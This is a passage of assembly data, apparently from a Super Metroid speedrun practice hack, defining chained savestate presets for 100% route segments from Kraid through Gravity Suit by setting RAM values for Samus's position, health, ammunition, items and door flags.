dl $7E0AF6 : db $02 : dw $00E1 ; Samus X
dl $7E0AFA : db $02 : dw $00AB ; Samus Y
dl $7ED8B8 : db $02 : dw $00EC ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_kraid_kraid_escape:
dw #preset_hundo_kraid_leaving_kraid_hallway ; Kraid: Leaving Kraid Hallway
dl $7E078D : db $02 : dw $914A ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $A4B1 ; MDB
dl $7E07F3 : db $02 : dw $0012 ; Music Bank
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $9000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $C400 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $012B ; Health
dl $7E09C4 : db $02 : dw $012B ; Max helath
dl $7E0A1C : db $02 : dw $0009 ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $00AA ; Samus X
dl $7E0AFA : db $02 : dw $009B ; Samus Y
dl $7ED874 : db $02 : dw $0C04 ; Events, Items, Doors
dl $7ED8B8 : db $02 : dw $00EF ; Events, Items, Doors
dl $7ED91A : db $02 : dw $001A ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_speed_booster_business_center:
dw #preset_hundo_kraid_kraid_escape ; Kraid: Kraid Escape
dl $7E078D : db $02 : dw $9246 ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $A7DE ; MDB
dl $7E079F : db $02 : dw $0002 ; Region
dl $7E07C3 : db $02 : dw $C3F9 ; GFX Pointers
dl $7E07C5 : db $02 : dw $BBBD ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B6 ; GFX Pointers
dl $7E07F3 : db $02 : dw $0015 ; Music Bank
dl $7E090F : db $02 : dw $3000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0232 ; Screen Y position in pixels
dl $7E09C6 : db $02 : dw $0011 ; Missiles
dl $7E09CA : db $02 : dw $0004 ; Supers
dl $7E09D6 : db $02 : dw $0018 ; Reserves
dl $7E0A1C : db $02 : dw $009B ; Samus position/state
dl $7E0A1E : db $02 : dw $0000 ; More position/state
dl $7E0AF6 : db $02 : dw $0080 ; Samus X
dl $7E0AFA : db $02 : dw $02A2 ; Samus Y
dw #$FFFF
.after
preset_hundo_speed_booster_hi_jump:
dw #preset_hundo_speed_booster_business_center ; Speed Booster: Business Center
dl $7E090F : db $02 : dw $6001 ; Screen subpixel X position.
dl $7E0915 : db $02 : dw $051B ; Screen Y position in pixels
dl $7E09CA : db $02 : dw $0003 ; Supers
dl $7E09D6 : db $02 : dw $001D ; Reserves
dl $7E0A1C : db $02 : dw $0002 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $0041 ; Samus X
dl $7E0AFA : db $02 : dw $058B ; Samus Y
dl $7ED8B8 : db $02 : dw $20EF ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_speed_booster_business_center_climb:
dw #preset_hundo_speed_booster_hi_jump ; Speed Booster: Hi Jump
dl $7E078D : db $02 : dw $93F6 ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $AA41 ; MDB
dl $7E090F : db $02 : dw $E000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $5000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09A2 : db $02 : dw $1105 ; Equipped Items
dl $7E09A4 : db $02 : dw $1105 ; Collected Items
dl $7E09C2 : db $02 : dw $018F ; Health
dl $7E09C4 : db $02 : dw $018F ; Max helath
dl $7E09C6 : db $02 : dw $0018 ; Missiles
dl $7E09C8 : db $02 : dw $0019 ; Max missiles
dl $7E0A1C : db $02 : dw $0001 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $019C ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED876 : db $02 : dw $01A1 ; Events, Items, Doors
dl $7ED8BA : db $02 : dw $0001 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $001F ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_speed_booster_cathedral_entrance:
dw #preset_hundo_speed_booster_business_center_climb ; Speed Booster: Business Center Climb
dl $7E078D : db $02 : dw $941A ; DDB
dl $7E079B : db $02 : dw $A7DE ; MDB
dl $7E090F : db $02 : dw $5000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $BFFF ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $02F6 ; Screen Y position in pixels
dl $7E0A1C : db $02 : dw $0009 ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $00B7 ; Samus X
dl $7E0AFA : db $02 : dw $038B ; Samus Y
dw #$FFFF
.after
preset_hundo_speed_booster_cathedral:
dw #preset_hundo_speed_booster_cathedral_entrance ; Speed Booster: Cathedral Entrance
dl $7E078D : db $02 : dw $92CA ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $A7B3 ; MDB
dl $7E07C5 : db $02 : dw $E4BD ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B5 ; GFX Pointers
dl $7E090F : db $02 : dw $F000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $5400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09CA : db $02 : dw $0002 ; Supers
dl $7E09D6 : db $02 : dw $0022 ; Reserves
dl $7E0A1C : db $02 : dw $0001 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $02A6 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED8B8 : db $02 : dw $24EF ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_speed_booster_rising_tide:
dw #preset_hundo_speed_booster_cathedral ; Speed Booster: Cathedral
dl $7E078D : db $02 : dw $92B2 ; DDB
dl $7E079B : db $02 : dw $A788 ; MDB
dl $7E090F : db $02 : dw $1000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $2000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0100 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $016E ; Health
dl $7E09C6 : db $02 : dw $001A ; Missiles
dl $7E09C8 : db $02 : dw $001E ; Max missiles
dl $7E09CA : db $02 : dw $0003 ; Supers
dl $7E0AF6 : db $02 : dw $02AF ; Samus X
dl $7E0AFA : db $02 : dw $018B ; Samus Y
dl $7ED876 : db $02 : dw $01A3 ; Events, Items, Doors
dl $7ED8B8 : db $02 : dw $26EF ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0020 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_speed_booster_bubble_mountain:
dw #preset_hundo_speed_booster_rising_tide ; Speed Booster: Rising Tide
dl $7E078D : db $02 : dw $929A ; DDB
dl $7E079B : db $02 : dw $AFA3 ; MDB
dl $7E090F : db $02 : dw $B000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0400 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $1000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0169 ; Health
dl $7E0AF6 : db $02 : dw $04C2 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dw #$FFFF
.after
preset_hundo_speed_booster_bat_cave:
dw #preset_hundo_speed_booster_bubble_mountain ; Speed Booster: Bubble Mountain
dl $7E078D : db $02 : dw $973E ; DDB
dl $7E079B : db $02 : dw $ACB3 ; MDB
dl $7E090F : db $02 : dw $1000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $6000 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $0178 ; Health
dl $7E09C6 : db $02 : dw $001B ; Missiles
dl $7E09CA : db $02 : dw $0002 ; Supers
dl $7E0AF6 : db $02 : dw $01B8 ; Samus X
dl $7ED8BA : db $02 : dw $0011 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0021 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_speed_booster_leaving_speed_booster:
dw #preset_hundo_speed_booster_bat_cave ; Speed Booster: Bat Cave
dl $7E078D : db $02 : dw $95B2 ; DDB
dl $7E079B : db $02 : dw $AD1B ; MDB
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $2000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $3400 ; Screen subpixel Y position
dl $7E09A2 : db $02 : dw $3105 ; Equipped Items
dl $7E09A4 : db $02 : dw $3105 ; Collected Items
dl $7E09C2 : db $02 : dw $018F ; Health
dl $7E09C6 : db $02 : dw $001C ; Missiles
dl $7E09C8 : db $02 : dw $0023 ; Max missiles
dl $7E09CA : db $02 : dw $0004 ; Supers
dl $7E09D6 : db $02 : dw $0038 ; Reserves
dl $7E0A1C : db $02 : dw $0002 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $0042 ; Samus X
dl $7ED878 : db $02 : dw $0006 ; Events, Items, Doors
dl $7ED8BA : db $02 : dw $0031 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0023 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_ice_beam_single_chamber:
dw #preset_hundo_speed_booster_leaving_speed_booster ; Speed Booster: Leaving Speed Booster
dl $7E078D : db $02 : dw $97AA ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $ACB3 ; MDB
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $3000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $00FD ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $018A ; Health
dl $7E09C6 : db $02 : dw $0020 ; Missiles
dl $7E09CA : db $02 : dw $0005 ; Supers
dl $7E09D6 : db $02 : dw $0064 ; Reserves
dl $7E0A1C : db $02 : dw $0001 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $01AD ; Samus X
dl $7E0AFA : db $02 : dw $018B ; Samus Y
dl $7ED822 : db $02 : dw $0020 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0025 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_ice_beam_double_chamber:
dw #preset_hundo_ice_beam_single_chamber ; Ice Beam: Single Chamber
dl $7E078D : db $02 : dw $9582 ; DDB
dl $7E078F : db $02 : dw $0004 ; DoorOut Index
dl $7E079B : db $02 : dw $AD5E ; MDB
dl $7E090F : db $02 : dw $A002 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0915 : db $02 : dw $011A ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0171 ; Health
dl $7E09CA : db $02 : dw $0004 ; Supers
dl $7E0AF6 : db $02 : dw $0049 ; Samus X
dl $7ED8BA : db $02 : dw $0071 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_ice_beam_double_chamber_revisited:
dw #preset_hundo_ice_beam_double_chamber ; Ice Beam: Double Chamber
dl $7E078D : db $02 : dw $961E ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $ADDE ; MDB
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $9000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $AC00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09A6 : db $02 : dw $1005 ; Beams
dl $7E09A8 : db $02 : dw $1005 ; Beams
dl $7E09C6 : db $02 : dw $0025 ; Missiles
dl $7E09C8 : db $02 : dw $0028 ; Max missiles
dl $7E09CA : db $02 : dw $0003 ; Supers
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $004E ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED878 : db $02 : dw $001E ; Events, Items, Doors
dl $7ED8BA : db $02 : dw $00F1 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0027 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_ice_beam_bubble_mountain_revisited:
dw #preset_hundo_ice_beam_double_chamber_revisited ; Ice Beam: Double Chamber Revisited
dl $7E078D : db $02 : dw $9606 ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $AD5E ; MDB
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $6400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $000D ; Screen Y position in pixels
dl $7E09C6 : db $02 : dw $0023 ; Missiles
dl $7E0A1C : db $02 : dw $0002 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $008C ; Samus X
dl $7ED91A : db $02 : dw $0028 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_ice_beam_business_center_climb_ice:
dw #preset_hundo_ice_beam_bubble_mountain_revisited ; Ice Beam: Bubble Mountain Revisited
dl $7E078D : db $02 : dw $97DA ; DDB
dl $7E079B : db $02 : dw $B167 ; MDB
dl $7E07C3 : db $02 : dw $860B ; GFX Pointers
dl $7E07C5 : db $02 : dw $21C0 ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2C0 ; GFX Pointers
dl $7E090F : db $02 : dw $3000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $7400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0185 ; Health
dl $7E09CA : db $02 : dw $0005 ; Supers
dl $7E0AF6 : db $02 : dw $0040 ; Samus X
dl $7ED91A : db $02 : dw $0029 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_ice_beam_ice_beam_gate_room:
dw #preset_hundo_ice_beam_business_center_climb_ice ; Ice Beam: Business Center Climb Ice
dl $7E078D : db $02 : dw $9816 ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $A7DE ; MDB
dl $7E07C3 : db $02 : dw $C3F9 ; GFX Pointers
dl $7E07C5 : db $02 : dw $BBBD ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B6 ; GFX Pointers
dl $7E090F : db $02 : dw $5000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $EC00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0300 ; Screen Y position in pixels
dl $7E09C6 : db $02 : dw $0025 ; Missiles
dl $7E09CA : db $02 : dw $0004 ; Supers
dl $7E0AF6 : db $02 : dw $0021 ; Samus X
dl $7E0AFA : db $02 : dw $038C ; Samus Y
dl $7ED8B8 : db $02 : dw $2EEF ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_ice_beam_ice_beam_snake_room:
dw #preset_hundo_ice_beam_ice_beam_gate_room ; Ice Beam: Ice Beam Gate Room
dl $7E078D : db $02 : dw $931E ; DDB
dl $7E079B : db $02 : dw $A75D ; MDB
dl $7E07C5 : db $02 : dw $E4BD ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B5 ; GFX Pointers
dl $7E090F : db $02 : dw $B000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $FA00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0180 ; Health
dl $7E09C6 : db $02 : dw $0024 ; Missiles
dl $7E0AF6 : db $02 : dw $0030 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dw #$FFFF
.after
preset_hundo_ice_beam_ice_beam_snake_room_revisit:
dw #preset_hundo_ice_beam_ice_beam_snake_room ; Ice Beam: Ice Beam Snake Room
dl $7E078D : db $02 : dw $937E ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $A890 ; MDB
dl $7E07C5 : db $02 : dw $BBBD ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B6 ; GFX Pointers
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $6000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $0400 ; Screen subpixel Y position
dl $7E09A6 : db $02 : dw $1007 ; Beams
dl $7E09A8 : db $02 : dw $1007 ; Beams
dl $7E09C2 : db $02 : dw $0185 ; Health
dl $7E0AF6 : db $02 : dw $00BA ; Samus X
dl $7ED876 : db $02 : dw $01A7 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $002A ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_ice_beam_ice_beam_gate_room_escape:
dw #preset_hundo_ice_beam_ice_beam_snake_room_revisit ; Ice Beam: Ice Beam Snake Room Revisit
dl $7E078D : db $02 : dw $935A ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $A8B9 ; MDB
dl $7E07C5 : db $02 : dw $E4BD ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B5 ; GFX Pointers
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $5001 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $7000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0200 ; Screen Y position in pixels
dl $7E0A1C : db $02 : dw $0001 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $00C7 ; Samus X
dl $7E0AFA : db $02 : dw $028B ; Samus Y
dw #$FFFF
.after
preset_hundo_ice_beam_business_center_elevator:
dw #preset_hundo_ice_beam_ice_beam_gate_room_escape ; Ice Beam: Ice Beam Gate Room Escape
dl $7E078D : db $02 : dw $9276 ; DDB
dl $7E079B : db $02 : dw $A815 ; MDB
dl $7E07C5 : db $02 : dw $BBBD ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B6 ; GFX Pointers
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $03CA ; Screen X position in pixels
dl $7E0913 : db $02 : dw $CC00 ; Screen subpixel Y position
dl $7E0A1C : db $02 : dw $0009 ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $042A ; Samus X
dw #$FFFF
.after
preset_hundo_phantoon_alpha_spark:
dw #preset_hundo_ice_beam_business_center_elevator ; Ice Beam: Business Center Elevator
dl $7E078D : db $02 : dw $92EE ; DDB
dl $7E078F : db $02 : dw $0003 ; DoorOut Index
dl $7E079B : db $02 : dw $A6A1 ; MDB
dl $7E079F : db $02 : dw $0001 ; Region
dl $7E07C3 : db $02 : dw $A5AA ; GFX Pointers
dl $7E07C5 : db $02 : dw $5FBC ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B3 ; GFX Pointers
dl $7E07F3 : db $02 : dw $0012 ; Music Bank
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $D000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $8000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E0A1C : db $02 : dw $000C ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $0030 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dw #$FFFF
.after
preset_hundo_phantoon_red_tower_revisit:
dw #preset_hundo_phantoon_alpha_spark ; Phantoon: Alpha Spark
dl $7E078D : db $02 : dw $910E ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $A3DD ; MDB
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $3C00 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $E400 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $014C ; Health
dl $7E09CA : db $02 : dw $0005 ; Supers
dl $7E0A1C : db $02 : dw $00CA ; Samus position/state
dl $7E0A1E : db $02 : dw $1B04 ; More position/state
dl $7E0A68 : db $02 : dw $000E ; Flash suit
dl $7E0AF6 : db $02 : dw $0047 ; Samus X
dl $7E0AFA : db $02 : dw $007A ; Samus Y
dl $7E0B3F : db $02 : dw $0004 ; Blue suit
dw #$FFFF
.after
preset_hundo_phantoon_hellway:
dw #preset_hundo_phantoon_red_tower_revisit ; Phantoon: Red Tower Revisit
dl $7E078D : db $02 : dw $90F6 ; DDB
dl $7E079B : db $02 : dw $A253 ; MDB
dl $7E090F : db $02 : dw $A000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $87FF ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0006 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0149 ; Health
dl $7E0A1C : db $02 : dw $0009 ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0A68 : db $02 : dw $0000 ; Flash suit
dl $7E0AF6 : db $02 : dw $00C7 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7E0B3F : db $02 : dw $0000 ; Blue suit
dw #$FFFF
.after
preset_hundo_phantoon_leaving_alpha_pbs:
dw #preset_hundo_phantoon_hellway ; Phantoon: Hellway
dl $7E078D : db $02 : dw $9096 ; DDB
dl $7E079B : db $02 : dw $A3AE ; MDB
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $F000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0200 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $9000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $012F ; Health
dl $7E09C6 : db $02 : dw $0029 ; Missiles
dl $7E09C8 : db $02 : dw $002D ; Max missiles
dl $7E09CA : db $02 : dw $0004 ; Supers
dl $7E09CE : db $02 : dw $0004 ; Pbs
dl $7E09D0 : db $02 : dw $0005 ; Max pbs
dl $7E09D2 : db $02 : dw $0003 ; Currently selected item
dl $7E0A1C : db $02 : dw $000B ; Samus position/state
dl $7E0AF6 : db $02 : dw $02C0 ; Samus X
dl $7ED874 : db $02 : dw $0F04 ; Events, Items, Doors
dl $7ED8B6 : db $02 : dw $A008 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $002C ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_phantoon_kihunter_room:
dw #preset_hundo_phantoon_leaving_alpha_pbs ; Phantoon: Leaving Alpha PBs
dl $7E078D : db $02 : dw $90BA ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $962A ; MDB
dl $7E079F : db $02 : dw $0000 ; Region
dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers
dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers
dl $7E090F : db $02 : dw $3000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $9C01 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $0137 ; Health
dl $7E09CA : db $02 : dw $0005 ; Supers
dl $7E09CE : db $02 : dw $0007 ; Pbs
dl $7E09D0 : db $02 : dw $000A ; Max pbs
dl $7E0A1C : db $02 : dw $0019 ; Samus position/state
dl $7E0A1E : db $02 : dw $0308 ; More position/state
dl $7E0AF6 : db $02 : dw $0072 ; Samus X
dl $7E0AFA : db $02 : dw $002D ; Samus Y
dl $7ED874 : db $02 : dw $0F84 ; Events, Items, Doors
dl $7ED8B2 : db $02 : dw $2C01 ; Events, Items, Doors
dl $7ED8B6 : db $02 : dw $E808 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $002D ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_phantoon_ocean_fly:
dw #preset_hundo_phantoon_kihunter_room ; Phantoon: Kihunter Room
dl $7E078D : db $02 : dw $8AF6 ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $948C ; MDB
dl $7E07C3 : db $02 : dw $C629 ; GFX Pointers
dl $7E07C5 : db $02 : dw $7CBA ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2AD ; GFX Pointers
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0131 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $8800 ; Screen subpixel Y position
dl $7E09C6 : db $02 : dw $0028 ; Missiles
dl $7E09D2 : db $02 : dw $0000 ; Currently selected item
dl $7E0A1C : db $02 : dw $0011 ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0A68 : db $02 : dw $00AD ; Flash suit
dl $7E0AF6 : db $02 : dw $0191 ; Samus X
dl $7E0AFA : db $02 : dw $00BB ; Samus Y
dl $7ED8B0 : db $02 : dw $2000 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_phantoon_phantoon_2:
dw #preset_hundo_phantoon_ocean_fly ; Phantoon: Ocean Fly
dl $7E078D : db $02 : dw $A21C ; DDB
dl $7E078F : db $02 : dw $0003 ; DoorOut Index
dl $7E079B : db $02 : dw $CC6F ; MDB
dl $7E079F : db $02 : dw $0003 ; Region
dl $7E07C3 : db $02 : dw $AE9E ; GFX Pointers
dl $7E07C5 : db $02 : dw $A6BB ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B1 ; GFX Pointers
dl $7E07F3 : db $02 : dw $0030 ; Music Bank
dl $7E090F : db $02 : dw $2000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $01F8 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $E800 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $008F ; Health
dl $7E09C6 : db $02 : dw $0032 ; Missiles
dl $7E09C8 : db $02 : dw $0037 ; Max missiles
dl $7E09CA : db $02 : dw $0003 ; Supers
dl $7E09CE : db $02 : dw $0006 ; Pbs
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0A68 : db $02 : dw $0000 ; Flash suit
dl $7E0AF6 : db $02 : dw $0271 ; Samus X
dl $7E0AFA : db $02 : dw $005B ; Samus Y
dl $7ED870 : db $02 : dw $8190 ; Events, Items, Doors
dl $7ED880 : db $02 : dw $0001 ; Events, Items, Doors
dl $7ED8B0 : db $02 : dw $3000 ; Events, Items, Doors
dl $7ED8C0 : db $02 : dw $0010 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0032 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_gravity_ws_shaft_up_1:
dw #preset_hundo_phantoon_phantoon_2 ; Phantoon: Phantoon
dl $7E078D : db $02 : dw $A2C4 ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E07C5 : db $02 : dw $E7BB ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B0 ; GFX Pointers
dl $7E07F5 : db $02 : dw $0006 ; Music Track
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $01E9 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $2400 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $012F ; Health
dl $7E09C6 : db $02 : dw $0035 ; Missiles
dl $7E09CA : db $02 : dw $0005 ; Supers
dl $7E09CE : db $02 : dw $0007 ; Pbs
dl $7E0A1C : db $02 : dw $001A ; Samus position/state
dl $7E0A1E : db $02 : dw $0304 ; More position/state
dl $7E0AF6 : db $02 : dw $0289 ; Samus X
dl $7E0AFA : db $02 : dw $003A ; Samus Y
dl $7ED82A : db $02 : dw $0100 ; Events, Items, Doors
dl $7ED8C0 : db $02 : dw $0070 ; Events, Items, Doors
dw #$FFFF
.after
preset_hundo_gravity_ws_right_supers:
dw #preset_hundo_gravity_ws_shaft_up_1 ; Gravity: WS Shaft Up 1
dl $7E078D : db $02 : dw $A294 ; DDB
dl $7E079B : db $02 : dw $CAF6 ; MDB
dl $7E090F : db $02 : dw $5000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $04D7 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $53FF ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0600 ; Screen Y position in pixels
dl $7E09CE : db $02 : dw $0006 ; Pbs
dl $7E0A1C : db $02 : dw $0027 ; Samus position/state
dl $7E0A1E : db $02 : dw $0508 ; More position/state
dl $7E0AF6 : db $02 : dw $05BC ; Samus X
